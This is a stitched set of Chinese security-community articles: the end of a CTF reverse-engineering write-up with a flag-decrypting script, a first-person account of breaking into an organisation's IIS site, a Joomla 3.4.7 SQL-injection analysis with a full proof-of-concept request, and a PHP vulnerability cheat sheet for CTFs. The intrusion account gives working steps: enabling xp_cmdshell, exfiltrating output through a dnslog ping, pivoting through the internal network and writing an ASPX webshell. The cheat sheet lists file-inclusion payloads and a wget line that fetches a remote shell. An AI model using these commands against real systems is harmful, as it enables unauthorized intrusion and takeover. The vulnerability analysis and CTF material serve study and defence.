void *v7; // rax
int i; // [rsp+24h] [rbp-D4h]
_DWORD *v9; // [rsp+28h] [rbp-D0h]
char input[32]; // [rsp+30h] [rbp-C8h] BYREF
char Str[32]; // [rsp+50h] [rbp-A8h] BYREF
char v12[96]; // [rsp+70h] [rbp-88h] BYREF
strcpy(Str, "12345678abcdefghijklmnopqrspxyz");
memset(v12, 0, sizeof(v12));
memset(input, 0, 0x17ui64);
sub_1400054D0("%s", input);
v9 = malloc(0x408ui64);
v3 = strlen(Str);
init_rc4(v9, Str, v3);
inputlen = strlen(input);
rc4(v9, input, inputlen); <-------rc4----->
for ( i = 0; i < 22; ++i )
{
if ( ((unsigned __int8)input[i] ^ 0x22) != (unsigned __int8)byte_14013B000[i] ) <-------亦或0x22----->
{
v5 = (void *)sub_1400015A0(&off_14013B020, "error");
_CallMemberFunction0(v5, sub_140001F10);
return 0;
}
}
v7 = (void *)sub_1400015A0(&off_14013B020, "nice job");
_CallMemberFunction0(v7, sub_140001F10);
return 0;
}
看明白还是简单的亦或操作，不必看具体怎么初始化，就只看rc4里面的亦或，可逆操作，rc4里面算法大部分都是定值，可以复现函数逻辑进行解密，也可以直接调试得到定值，直接亦或得到flag。我当时是复现了函数逻辑emo
### exp
byte = [
0x9E, 0xE7, 0x30, 0x5F, 0xA7, 0x01, 0xA6, 0x53, 0x59, 0x1B,
0x0A, 0x20, 0xF1, 0x73, 0xD1, 0x0E, 0xAB, 0x09, 0x84, 0x0E,
0x8D, 0x2B
]
# get for memory
a1 = [
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,0x64,0x00,0x00,0x00,0x99,0x00,0x00,0x00,0xD0,0x00,0x00,0x00,0x09,0x00,0x00,0x00,0x57,0x00,0x00,0x00,0x81,0x00,0x00,0x00,0xD2,0x00,0x00,0x00,0x78,0x00,0x00,0x00,0x2C,0x00,0x00,0x00,0xFC,0x00,0x00,0x00,0xDE,0x00,0x00,0x00,0xDC,0x00,0x00,0x00,0x89,0x00,0x00,0x00,0x4C,0x00,0x00,0x00,0x3B,0x00,0x00,0x00,0xB4,0x00,0x00,0x00,0xF5,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x2B,0x00,0x00,0x00,0x70,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x0F,0x00,0x00,0x00,0x0E,0x00,0x00,0x00,0x3E,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x67,0x00,0x00,0x00,0x6D,0x00,0x00,0x00,0x91,0x00,0x00,0x00,0xB2,0x00,0x00,0x00,0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xDF,0x00,0x00,0x00,0x75,0x00,0x00,0x00,0xF9,0x00,0x00,0x00,0x27,0x00,0x00,0x00,0x96,0x00,0x00,0x00,0xE1,0x00,0x00,0x00,0x15,0x00,0x00,0x00,0xF0,0x00,0x00,0x00,0x45,0x00,0x00,0x00,0xC2,0x00,0x00,0x00,0x2D,0x00,0x00,0x00,0x97,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x55,0x00,0x00,0x00,0xB1,0x00,0x00,0x00,0x69,0x00,0x00,0x00,0x87,0x00,0x00,0x00,0x61,0x00,0x00,0x00,0xEF,0x00,0x00,0x00,0x50,0x00,0x00,0x00,0xA6,0x00,0x00,0x00,0x43,0x00,0x00,0x00,0x25,0x00,0x00,0x00,0x93,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0x47,0x00,0x00,0x00,0xAC,0x00,0x00,0x00,0x98,0x00,0x00,0x00,0x19,0x00,0x00,0x00,0xED,0x00,0x00,0x00,0x4D,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x4A,0x00,0x00,0x00,0xBD,0x00,0x00,0x00,0xDB,0x00,0x00,0x00,0xE8,0x00,0x00,0x00,0x1A,0x00,0x00,0x00,0x86,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0xE5,0x00,0x00,0x00,0x92,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x24,0x00,0x00,0x00,0xD3,0x00,0x00,0x00,0xF3,0x00,0x00,0x00,0xF6,0x00,0x00,0x00,0xC3,0x00,0x00,0x00,0xFA,0x00,0x00,0x00,0x3F,0x00,0x00,0x00,0xB0,0x00,0x00,0x00,0x1E,0x00,0x00,0x00,0x17,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x9E,0x00,0x00,0x00,0x1B,0x00,0x00,0x00,0x54,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0xFD,0x00,0x00,0x00,0xA1,0x00,0x00,0x00,0x13,0x00,0x00,0x00,0x85,0x00,0x00,0x00,0x76,0x00,0x00,0x00,0x29,0x00,0x00,0x00,0xD6,0x00,0x00,0x00,0xC9,0x00,0x00,0x00,0xCA,0x00,0x00,0x00,0x6E,0x00,0x00,0x00,0x2A,0x00,0x00,0x00,0xE3,0x00,0x00,0x00,0x7B,0x00,0x00,0x00,0x5D,0x00,0x00,0x00,0x8E,0x00,0x00,0x00,0x9F,0x00,0x00,0x00,0x6F,0x00,0x00,0x00,0x26,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x8B,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x8D,0x00,0x00,0x00,0x12,0x00,0x00,0x00,0xAA,0x00,0x00,0x00,0x37,0x00,0x00,0x00,0x71,0x00,0x00,0x00,0x4F,0x00,0x00,0x00,0xEE,0x00,0x00,0x00,0x84,0x00,0x00,0x00,0xAF,0x00,0x00,0x00,0x52,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0xCF,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x33,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x5E,0x00,0x00,0x00,0x31,0x00,0x00,0x00,0x6C,0x00,0x00,0x00,0xD7,0x00,0x00,0x00,0xA5,0x00,0x00,0x00,0x51,0x00,0x00,0x00,0xF1,0x00,0x00,0x00,0x44,0x00,0x00,0x00,0x34,0x00,0x00,0x00,0xB6,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x74,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xA7,0x00,0x00,0x00,0x5F,0x00,0x00,0x00,0x9D,0x00,0x00,0x00,0xDA,0x00,0x00,0x00,0xFE,0x00,0x00,0x00,0xD5,0x00,0x00,0x00,0xDD,0x00,0x00,0x00,0x35,0x00,0x00,0x00,0x65,0x00,0x00,0x00,0x7E,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0xE9,0x00,0x00,0x00,0xA2,0x00,0x00,0x00,0xC7,0x00,0x00,0x00,0xCE,0x00,0x00,0x00,0xE2,0x00,0x00,0x00,0xA3,0x00,0x00,0x00,0x9B,0x00,0x00,0x00,0x22,0x00,0x00,0x00,0xFF,0x00,0x00,0x00,0xC8,0x00,0x00,0x00,0x77,0x00,0x00,0x00,0xA4,0x00,0x00,0x00,0x8F,0x00,0x00,0x00,0xCC,0x00,0x00,0x00,0xE7,0x00,0x00,0x00,0x0B,0x00,0x00,0x00,0xE6,0x00,0x00,0x00,0xBF,0x00,0x00,0x00,0x5A,0x00,0x00,0x00,0x39,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x63,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xE4,0x00,0x00,0x00,0xBE,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x0A,0x00,0x00,0x00,0x88,0x00,0x00,0x00,0x49,0x00,0x00,0x00,0x5B,0x00,0x00,0x00,0x7A,0x00,0x00,0x00,0x5C,0x00,0x00,0x00,0xA8,0x00,0x00,0x00,0xCB,0x00,0x00,0x00,0xEB,0x00,0x00,0x00,0xAD,0x00,0x00,0x00,0x16,0x00,0x00,0x00,0xD4,0x00,0x00,0x00,0x21,0x00,0x00,0x00,0xC6,0x00,0x00,0x00,0x95,0x00,0x00,0x00,0xC4,0x00,0x00,0x00,0x28,0x00,0x00,0x00,0x56,0x00,0x00,0x00,0xB7,0x00,0x00,0x00,0x68,0x00,0x00,0x00,0x6A,0x00,0x00,0x00,0xD1,0x00,0x00,0x00,0x9C,0x00,0x00,0x00,0x4B,0x00,0x00,0x00,0x58,0x00,0x00,0x00,0x9A,0x00,0x00,0x00,0xB5,0x00,0x00,0x00,0xAE,0x00,0x00,0x00,0x1F,0x00,0x00,0x00,0x94,0x00,0x00,0x00,0x7D,0x00,0x00,0x00,0xEC,0x00,0x00,0x00,0x62,0x00,0x00,0x00,0xC1,0x00,0x00,0x00,0x8A,0x00,0x00,0x00,0x32,0x00,0x00,0x00,0x53,0x00,0x00,0x00,0x3C,0x00,0x00,0x00,0x7C,0x00,0x00,0x00,0x4E,0x00,0x00,0x00,0xBB,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0xF7,0x00,0x00,0x00,0x2E,0x00,0x00,0x00,0x59,0x00,0x00,0x00,0x6B,0x00,0x00,0x00,0x79,0x00,0x00,0x00,0xD9,0x00,0x00,0x00,0xA9,0x00,0x00,0x00,0x82,0x00,0x00,0x00,0xC5,0x00,0x00,0x00,0xFB,0x00,0x00,0x00,0x23,0x00,0x00,0x00,0xB3,0x00,0x00,0x00,0xF2,0x00,0x00,0x00,0x72,0x00,0x00,0x00,0x83,0x00,0x00,0x00,0xEA,0x00,0x00,0x00,0xAB,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x0D,0x00,0x00,0x00,0xA0,0x00,0x00,0x00,0x73,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x41,0x00,0x00,0x00,0xF4,0x00,0x00,0x00,0x3D,0x00,0x00,0x00,0x42,0x00,0x00,0x00,0x2F,0x00,0x00,0x00,0x3A,0x00,0x00,0x00,0x8C,0x00,0x00,0x00,0xF8,0x00,0x00,0x00,0xCD,0x00,0x00,0x00,0x1D,0x00,0x00,0x00,0x36,0x00,0x00,0x00,0x66,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0xD8,0x00,0x00,0x00,0xBC
]
s = []
for i in range(22):
s.append(byte[i]^0x22)
v5 = a1[0]
v6 = a1[4]
v9 = a1[8:]
for i in range(22):
v5 = (v5 + 1)&0xff
v7 = v9[4*v5]
v6 = (v7 + v6)&0xff
v8 = v9[4*v6]
v9[4*v5] = v8
v9[4*v6] = v7
s[i] ^= v9[((v8 + v7)&0xff)*4]&0xff
for i in s:
print (chr(i),end='')
ChaMd5战队exp更简洁，数据是动调出来的：
data=[0x9E,0xE7,0x30,0x5F,0xA7,0x01,0xA6,0x53,0x59,0x1B,0x0A,0x20,0xF1,0x73,0xD1,0x0E,0xAB,0x09,0x84,0x0E,0x8D, 0x2B]
tem=[0xda,0xa9,0x73,0x1A,0xFE,0x4D,0xED,0x12,0x1E,0x66,0x5C,0x6D,0x8C,0x3C,0x96,0x49,0xFD,0x74,0xDF,0x43,0xDA,0x74]
flag=''
for i in range(22):
flag+=chr(data[i]^tem[i]^0x22)
print(flag)
## Re -> easyRe
参考ChaMd5的WP
## 附件
[附件](https://github.com/1094093288/IMG/tree/master/Pwn/2021DongRuanCTF)
## 参考
1. [ChaMd5](https://mp.weixin.qq.com/s/KgxHOFH52EE8z7NnMTSIDA)
2. [地运](https://mp.weixin.qq.com/s/C0Vn_5NnGCd8Sn6--otsgA)
3. [or4nge](https://or4ngesec.github.io/post/dnuictf-writeup-by-or4nge/#web)
4. [官方](https://docs.qq.com/doc/DSVB0U3BIWHZ4RVRF) | 社区文章 |
# 实战记录之曲线救国
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
记录一次实战稍曲折拿下目标站点的过程。
## 前期摸点
IIS7.0+ASP.NET的组合，简单尝试发现前台登录页面可能存在SQL注入，数据包如下：
为了节约时间直接祭出sqlmap，`-r x.txt -v 3 --random-agent --dbms=mssql --batch`
识别出了数据库，却被不明力量拦截了。
手工尝试绕过不明力量，堆叠的方式利用xp_cmdshell尝试将命令回显从dnslog中带出来：
> 先开xp_cmdshell：`EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC
> sp_configure 'xp_cmdshell',1;RECONFIGURE`
>
> 利用dnslog带出回显：`EXEC master..xp_cmdshell 'ping xxx.dnslog.cn -n 2'`
一顿操作过后发现dnslog没反应，这里可能有几个原因，第一就是被不明力量拦截了，第二是目标不出网，第三可能我们语句构造有问题。是第一个原因的可能性比较大。
## 曲线救国
放弃注入后，还测试了其他漏洞，都以失败告终。但是目标是一个单位的子域而已，可以从单位的其他站点入手，进入内网后再尝试MS17010、pth等等手段来拿到目标机器权限即可。
于是在历经九九八十一难后，我们终于在目标所属B段中拿到一台机器权限，并使用代理成功进入内网。
遗憾的是拿到的机器是linux服务器，并且内网MS17010都已经打了补丁，fscan扫出来的结果基本无用。如果我们继续拿内网机器权限再利用hash传递攻击尝试的话，且不说密码是否通杀，就时间上也会浪费不少，于是陷入了小小的尴尬境地。
不过我们随即转念一想，大多数的不明力量都会部署在dmz或者在最外层交换机之上，而目前我们在内网中是不是不会受到不明力量影响？思路到此立即掏出sqlmap，再次`-r
x.txt -v 3 --random-agent --dbms=mssql --batch`
果然如我们所想，成功注出来了，先看一下权限：
dba权限，直接os-shell，采用的是堆叠+延时的注入，一个whoami等了将近10分钟的时间，太慢了，还是手注吧。
从whoami的回显得知系统权限为低权限，加用户肯定是行不通了，站库没有分离，直接写个webshell。路径的话在报错的数据包就可以找到，值得注意的是，这里权限是普通用户权限，所以写webshell最好选择上传的目录或图片路径，本人尝试写入根路径浪费了一些时间。
上语句：
`%';EXEC xp_cmdshell 'echo "xxx" > D:\xxx\xxx\xxx.aspx' -- -`
成功getshell，最后用土豆提权收个尾，战斗结束。 | 社区文章 |
# Joomla 3.4.7 修复的反序列化与SQL注入
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**作者： Mars@0kee Team**
Joomla! 官方12月21号发布了3.4.7 新版程序，其中修复了Session序列化和一处SQL注入。
##
## 反序列化漏洞修复分析
前一阵子 Joomla 的对象注入很火，而官方 3.4.6 的修复仅仅是严格过滤了 X_FORWARDED_FOR 和注释了 USER_AGENT 存入
SESSION 那一句，见：[https://github.com/joomla/joomla-cms/commit/995db72ff4eaa544e38b4da3630b7a1ac0146264#diff-aba80b5850bf0435954b29dece250cbfL1021](https://github.com/joomla/joomla-cms/commit/995db72ff4eaa544e38b4da3630b7a1ac0146264#diff-aba80b5850bf0435954b29dece250cbfL1021)，这样只是指哪补哪，治标不治本。看来官方上次的修复只是临时解决方案，这次的更新(3.4.7)算是彻底解决了此问题。
上次的对象注入，需要满足三个条件：
1\. 自己实现session的处理方式，重新实现了 session 存储的read()和write()方法，但是并没有对 session
的值进行安全处理。
2\. Mysql非strict mode下，使用utf8mb4字符 xF0x9Dx8Cx86 来截断。
3\. PHP <= 5.6.13 session中反序列化解析的BUG。
(详情请看P牛文章：[http://drops.wooyun.org/papers/11330](http://drops.wooyun.org/papers/11330)
)
Joomla 官方也只能解决第一个，也就是改进session的处理方式。这次更新，在 libraries/cms/version/version.php
中，将SESSION存储在内部的Registry类对象中，弃用了以前使用 $_SESSION[$namespace][$name] 的方式：
$this->data = new JoomlaRegistryRegistry;
并且，在写SESSION的时候会先做base64_encode，
public function close(){
if ($this->_state !== 'active'){
// @TODO :: generated error here
return false;
}
$session = JFactory::getSession();
$data = $session->getData();
// Before storing it, let's serialize and encode the JRegistry object
$_SESSION['joomla'] = base64_encode(serialize($data));
session_write_close();
return true;
}
这样，$_SESSION就只剩下了$_SESSION['joomla']，而且$_SESSION['joomla']
只存储了Registry的对象$data，在执行read()和write()时候，SESSION是经过base64_encode后的数据，就不会存在read()之后自动反序列化而导致对象注入了。
在反序列化的时候也不存在unserialize参数可控的情况。（可控的只是$data的成员变量）
if (isset($_SESSION['joomla']) && !empty($_SESSION['joomla'])){
$data = $_SESSION['joomla'];
$data = base64_decode($data);
$this->data = unserialize($data);
}
Joomla官方这次的解决方案比较好，不像上次那样治标不治本，这样的态度值得称赞。反观Apache对struts2 漏洞的修复…就不说了。
##
## SQL注入
### 一、漏洞分析
代码位于，administrator/components/com_categories/models/category.php，save()函数内：
$assoc = $this->getAssoc();
if ($assoc)
{
// Adding self to the association
$associations = $data['associations'];
foreach ($associations as $tag => $id)
{
if (empty($id))
{
unset($associations[$tag]);
}
}
// Detecting all item menus
$all_language = $table->language == '*';
if ($all_language && !empty($associations))
{
JError::raiseNotice(403, JText::_('COM_CATEGORIES_ERROR_ALL_LANGUAGE_ASS
OCIATED'));
}
$associations[$table->language] = $table->id;
// Deleting old association for these items
$db = $this->getDbo();
$query = $db->getQuery(true)
->delete('#__associations')
->where($db->quoteName('context') . ' = ' . $db->quote($this->associatio
nsContext))
->where($db->quoteName('id') . ' IN (' . implode(',', $associations) . '
)');
$db->setQuery($query);
$db->execute();
if ($error = $db->getErrorMsg())
{
$this->setError($error);
return false;
}
if (!$all_language && count($associations))
{
// Adding new association for these items
$key = md5(json_encode($associations));
$query->clear()
->insert('#__associations');
foreach ($associations as $id)
{
$query->values($id . ',' . $db->quote($this->associationsContext) .
',' . $db->quote($key));
}
$db->setQuery($query);
$db->execute();
if ($error = $db->getErrorMsg())
{
$this->setError($error);
return false;
}
}
}
其中的 $associations 未经过适当处理、我们跟着流程来看看。
首先，$assoc = $this->getAssoc(); 为 True
的时候整个逻辑才能进来，这个getAssoc()是什么呢？跟进getAssoc()的实现(文件的 1234 行)，发现关键是在：
$assoc = JLanguageAssociations::isEnabled();
搜索一下，发现 JLanguageAssociations 是 Joomla
的一个多语言插件[http://www.slideshare.net/erictiggeler/creating-a-multilingual-site-in-joomla-joomla-3-beginners-guide-eric-tiggeler](http://www.slideshare.net/erictiggeler/creating-a-multilingual-site-in-joomla-joomla-3-beginners-guide-eric-tiggeler) , 这个插件是 Joomla
自带的，默认没有开启，我们在后台将他开启。
然后，继续看代码，$associations = $data['associations'];，
$data是post过来的数据，associations没有经过过滤就传到了SQL语句中：
$query = $db->getQuery(true)
->delete('#__associations')
->where($db->quoteName('context') . ' = ' . $db->quote($this->as
sociationsContext))
->where($db->quoteName('id') . ' IN (' . implode(',', $associati
ons) . ')');
导致SQL注入。
那 Joomla 有没有全局过滤呢？我们看看 Joomla 是如何处理POST数据的。
在 libraries/legacy/controller/form.php , save() 函数，
public function save($key = null, $urlVar = null){
...
$data = $this->input->post->get('jform', array(), 'array');
...
$validData = $model->validate($form, $data);
validate() 函数在 libraries/legacy/model/form.php 302行,
他又调用了libraries/joomla/form/form.php 的filter() 函数，具体实现就不继续了，总之这里的POST参数只是处理了 '
XSS and specified bad code. '。
最后，构造POC。在修改分类，保存的时候，修改POST数据:
POST /Joomla/administrator/index.php?option=com_categories&extension=com_content
&layout=edit&id=19
jform[title]=Joomla!&jform[alias]=joomla&jform[description]=&jform[parent_id]=14
&jform[published]=1&jform[access]=1&jform[language]=*&jform[note]=&jform[version
_note]=&jform[created_time]=2011-01-01+00:00:01&jform[created_user_id]=945&jform
[modified_time]=2015-12-23+08:09:46&jform[modified_user_id]=945&jform[hits]=0&jf
orm[id]=19&jform[metadesc]=&jform[metakey]=&jform[metadata][author]=&jform[metad
ata][robots]=&jform[associations][en-GB]=2) or updatexml(1,concat(0x7e,(version(
))),0) -- -&jform[rules][core.create][1]=&jform[rules][core.delete][1]=&jform[ru
les][core.edit][1]=&jform[rules][core.edit.state][1]=&jform[rules][core.edit.own
][1]=&jform[rules][core.create][13]=&jform[rules][core.delete][13]=&jform[rules]
[core.edit][13]=&jform[rules][core.edit.state][13]=&jform[rules][core.edit.own][
13]=&jform[rules][core.create][6]=&jform[rules][core.delete][6]=&jform[rules][co
re.edit][6]=&jform[rules][core.edit.state][6]=&jform[rules][core.edit.own][6]=&j
form[rules][core.create][7]=&jform[rules][core.delete][7]=&jform[rules][core.edi
t][7]=&jform[rules][core.edit.state][7]=&jform[rules][core.edit.own][7]=&jform[r
ules][core.create][2]=&jform[rules][core.delete][2]=&jform[rules][core.edit][2]=
&jform[rules][core.edit.state][2]=&jform[rules][core.edit.own][2]=&jform[rules][
core.create][3]=&jform[rules][core.delete][3]=&jform[rules][core.edit][3]=&jform
[rules][core.edit.state][3]=&jform[rules][core.edit.own][3]=&jform[rules][core.c
reate][4]=&jform[rules][core.delete][4]=&jform[rules][core.edit][4]=&jform[rules
][core.edit.state][4]=&jform[rules][core.edit.own][4]=&jform[rules][core.create]
[5]=&jform[rules][core.delete][5]=&jform[rules][core.edit][5]=&jform[rules][core
.edit.state][5]=&jform[rules][core.edit.own][5]=&jform[rules][core.create][10]=0
&jform[rules][core.delete][10]=&jform[rules][core.edit][10]=&jform[rules][core.e
dit.state][10]=&jform[rules][core.edit.own][10]=&jform[rules][core.create][12]=0
&jform[rules][core.delete][12]=&jform[rules][core.edit][12]=&jform[rules][core.e
dit.state][12]=&jform[rules][core.edit.own][12]=&jform[rules][core.create][8]=&j
form[rules][core.delete][8]=&jform[rules][core.edit][8]=&jform[rules][core.edit.
state][8]=&jform[rules][core.edit.own][8]=&jform[params][category_layout]=&jform
[params][image]=&jform[params][image_alt]=&jform[extension]=com_content&task=cat
egory.apply&2ebbc80d46dda42570c1b1699a58323d=1
成功注入。
另外,libraries/legacy/model/admin.php 这里也存在着同样的问题。
### 二、修复方案
官方增加了
...
$associations = JoomlaUtilitiesArrayHelper::toInteger($associations);
...
$query->values(((int) $id) .',' .$db->quote($this->associationsContext) . ',' .$
db->quote($key));
...
将$associations 中的所有值转换为int型。还有将 $id 强制转换为int。
参考：
http://drops.wooyun.org/papers/11330
http://drops.wooyun.org/papers/11371
http://bobao.360.cn/learning/detail/2501.html
[https://github.com/joomla/joomla-cms/commit/2cd4ef682f0cab6ff03200b79007a25f19c6690e](https://github.com/joomla/joomla-cms/commit/2cd4ef682f0cab6ff03200b79007a25f19c6690e)
https://www.joomla.org/announcements/release-news/5643-joomla-3-4-7.html | 社区文章 |
# ctf中常见的PHP漏洞小结
在做ctf题的时候经常会遇到一些PHP代码审计的题目，这里将我遇到过的常见漏洞做一个小结。
## md5()漏洞
PHP在处理哈希字符串时，会利用”!=”或”==”来对哈希值进行比较，它把每一个以”0E”开头的哈希值都解释为0，所以如果两个不同的密码经过哈希以后，其哈希值都是以”0E”开头的，那么PHP将会认为他们相同，都是0。
常见的payload有
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
sha1(str)
sha1('aaroZmOk')
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')
同时MD5不能处理数组，若有以下判断则可用数组绕过
if(@md5($_GET['a']) == @md5($_GET['b']))
{
echo "yes";
}
//http://127.0.0.1/1.php?a[]=1&b[]=2
判断代码：
if($v1 != $v2 && md5($v1) == md5($v2))//D0g3某道题
## strcmp()漏洞
int strcmp(string $str1, string $str2)
参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0； 如果 str1 大于 str2 返回 >
0；如果两者相等，返回 0。
当这个函数接受到了不符合的类型，这个函数将发生错误，但是在5.3之前的php中，显示了报错的警告信息后，将return 0 !!!!
也就是虽然报了错，但却判定其相等了。这对于使用这个函数来做选择语句中的判断的代码来说简直是一个致命的漏洞，当然，php官方在后面的版本中修复了这个漏洞，使得报错的时候函数不返回任何值。
<?php
$password=$_GET['password'];
if (strcmp('*****',$password)) {
echo 'NO!';
} else{
echo 'YES!';
}
?>
对于这段代码，我们能用什么办法绕过验证呢，
只要我们\$_POST[‘password’]是一个数组或者一个object即可，但是上一个问题的时候说到过，只能上传字符串类型，那我们又该如何做呢。
其实php为了可以上传一个数组，会把结尾带一对中括号的变量，例如
xxx[]的name（就是$_POST中的key），当作一个名字为xxx的数组构造类似如下的request
POST /login HTTP/1.1
Host: xxx.com
Content-Length: 41
Accept: application/json, text/javascript
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Connection: close
password[]=admin
## 文件包含漏洞
include()
require()
include_once()
require_once()
这四个函数会将包含的文件作为php文件解析
_once表示同名文件只引入一次，include在引入不存文件时产生一个警告且脚本还会继续执行，require则会导致一个致命性错误且脚本停止执行。
include()是有条件包含函数，而 require()则是无条件包含函数
include有返回值，而require没有
理论上来说：include和require后面加不加括号对执行结果没有区别，但是加上括号效率较低，所以后面能不加括号就不加括号。
可利用的文件包含漏洞条件：
1.include()等函数通过动态变量方式引入需要包含的文件
2.用户可控制该动态变量
### 本地文件包含(LFI)
<?php
$file = $_GET['file'];
include $file;
?>
若在同目录下有phpinfo.txt`<? phpinfo; ?>` 则访问：
index.php?file=phpinfo.txt
即可解析文件内容
PHP内核是由C语言实现的，在连接字符串时，0字节(\x00)将作为字符串结束符。所以可用%00截断
### 远程文件包含(RFI)
1. allow_url_fopen = On
2. allow_url_include = On 默认为off
需要php.ini中两个配置均为ON
<?php
if($route == "share"){
require_once $basePath . '/action/m_share.php';
}elseif($route == "sharelink"){
require_once $basePath . '/action/m_sharelink.php';
}
?>
构造url
`/?param=http://attacker/phpshell.txt?`
可将远程的shell解析执行，最后一个问号可以起到截断的作用。
### 利用技巧
#### 利用用户上传文件
如果有上传点或者允许用户上传文件可以利用，不过比较难找到文件目录。
#### php伪协议
##### php://input
`allow_url_include = on`
payload:
1 index.php?file=php://input
2 POST:
3 <? phpinfo(); ?>
* * *
##### php://filter
可以读取本地文件
`index.php?file=php://filter/read=convert.base64-encode/resource=index.php`
指定末尾文件，可以读到base64编码后的文件内容，ctf中常有题目可读文件源码。
##### php://phar
PHP归档，解压缩协议
上传包含任何格式文件shell的压缩包，再用phar协议解析
* 指定相对路径
`index.php?file=phar://shell.zip/phpinfo.txt`
* 指定绝对路径
`index.php?file=phar://D:/index/www/fileinclude/shell.zip/phpinfo.txt`
##### data:
条件：
1. `allow_url_fopen = On`
2. `allow_url_include = On`
`index.php?file=data:text/plain,<?php phpinfo(); ?>%00`
`index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b`
#### 包含日志文件
先通过读取httpd的配置文件httpd.conf,找日志文件所在目录
常见日志文件位置：
1.`../etc/httpd/conf/httpd.conf`
1. `/usr/local/apache/conf/http.conf`
3.`../apache/logs/error.log`
Metasploit有脚本完成自动化攻击
#### 包含Session
要求攻击者能控制部分Session的内容
常见的php-session存放位置：
1. `/var/lib/php/sess_PHPSESSID`
2. `/var/lib/php/sess_PHPSESSID`
3. `/tmp/sess_PHPSESSID`
4. `/tmp/sessions/sess_PHPSESSID`
#### 包含/proc/self/environ 文件
`index.php?page=../../../../../proc/self/environ`
可以看到Web进程运行时的环境变量，其中用户可以控制部分，比如对User-Agent注入
<?php
system('wget http://hacker/Shells/phpshell.txt -O shell.php');
?>
#### 包含上传的临时文件
#### 包含其他应用创建的文件
如数据库文件，缓存文件
### 绕过姿势
1. %00截断
`magic_quotes_gpc = off`
PHP < 5.3.4
2. 字节长度截断：最大值Windows下256字节，Linux下4096字节
3. %00截断目录遍历
`/var/www/%00`
`magic_quotes_gpc = off`
4. 编码绕过
`%2e%2e%2f ../`
`..%c0%af ../`
`%2e%2e%5c ..\`
### 防御方案
5. 在很多场景中都需要去包含web目录之外的文件，如果php配置了 **open_basedir** ，则会包含失败
6. 做好文件的权限管理
7. 对危险字符进行过滤等
## 变量覆盖漏洞
### 全局变量覆盖
条件：`register_globals = ON` 4.2.0后默认关闭 5.4.0后已移除
例bugku某题
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
payload:`http://120.24.86.145:8004/index1.php?args=GLOBALS`
因为有eval("var_dump($$args);"); 直接用全局变量打印所有字符串即可得到flag
## strpos()的小坑
### 函数介绍
#### 实例
查找"touch"在字符串中第一次出现的位置：
<?php
echo strpos("love is a touch and yet not a touch", "touch")
?>
#### 定义和用法
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
strpos() 函数对大小写敏感。
该函数是二进制安全的。
`strpos(string, find, start)` _string_ 和 _find_ 必需， _start_ 可选，规定在何处开始搜索。
#### 相关函数
* **stripos()** \- 查找字符串在另一字符串中第一次出现的位置（不区分大小写）
* **strripos()** \- 查找字符串在另一字符串中最后一次出现的位置（不区分大小写）
* **strrpos()** \- 查找字符串在另一字符串中最后一次出现的位置（区分大小写）
### 坑
判断的时候是不能用 _!= false_ 来判断的，因为当查找的字符串位置为0 时也会判断成功
<?php
$a = "stark";
$b = "s";
$c = "k";
var_dump(strpos($a, $b));
var_dump(strpos($a, $c));
var_dump(strpos($a, $b) != false);
var_dump(strpos($a, $b) !== false);
?>
返回结果：
## PHP的一个小特性
乌云链接：<https://wooyun.shuimugan.com/bug/view?bug_no=64792>
当代码中存在 _\$_REQUEST['user_id']_ 里面类似的参数的时候，我们在url上可以这样 _a.php?user.id_
传参去进行绕过,这样进去之后也能表示 _$_REQUEST['user_id']_ 的值，同样可以绕过的符号还有+，[ 等，应该说是php的一个小特性
> 安恒月赛 奇怪的恐龙特性
题目源码：
<?php
highlight_file(__FILE__);
ini_set("display_error", false);
error_reporting(0);
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
echo 'A_A,have fun';
}
elseif ($str<9999999999) {
echo 'A_A,too small';
}
elseif ((string)$str>0) {
echo 'A_A,too big';
}
else{
echo file_get_contents('flag.php');
}
?>
阅读代码发现，首先第一步要绕过A_A这个符号，如果出现这个符号他就会显示A_A,have
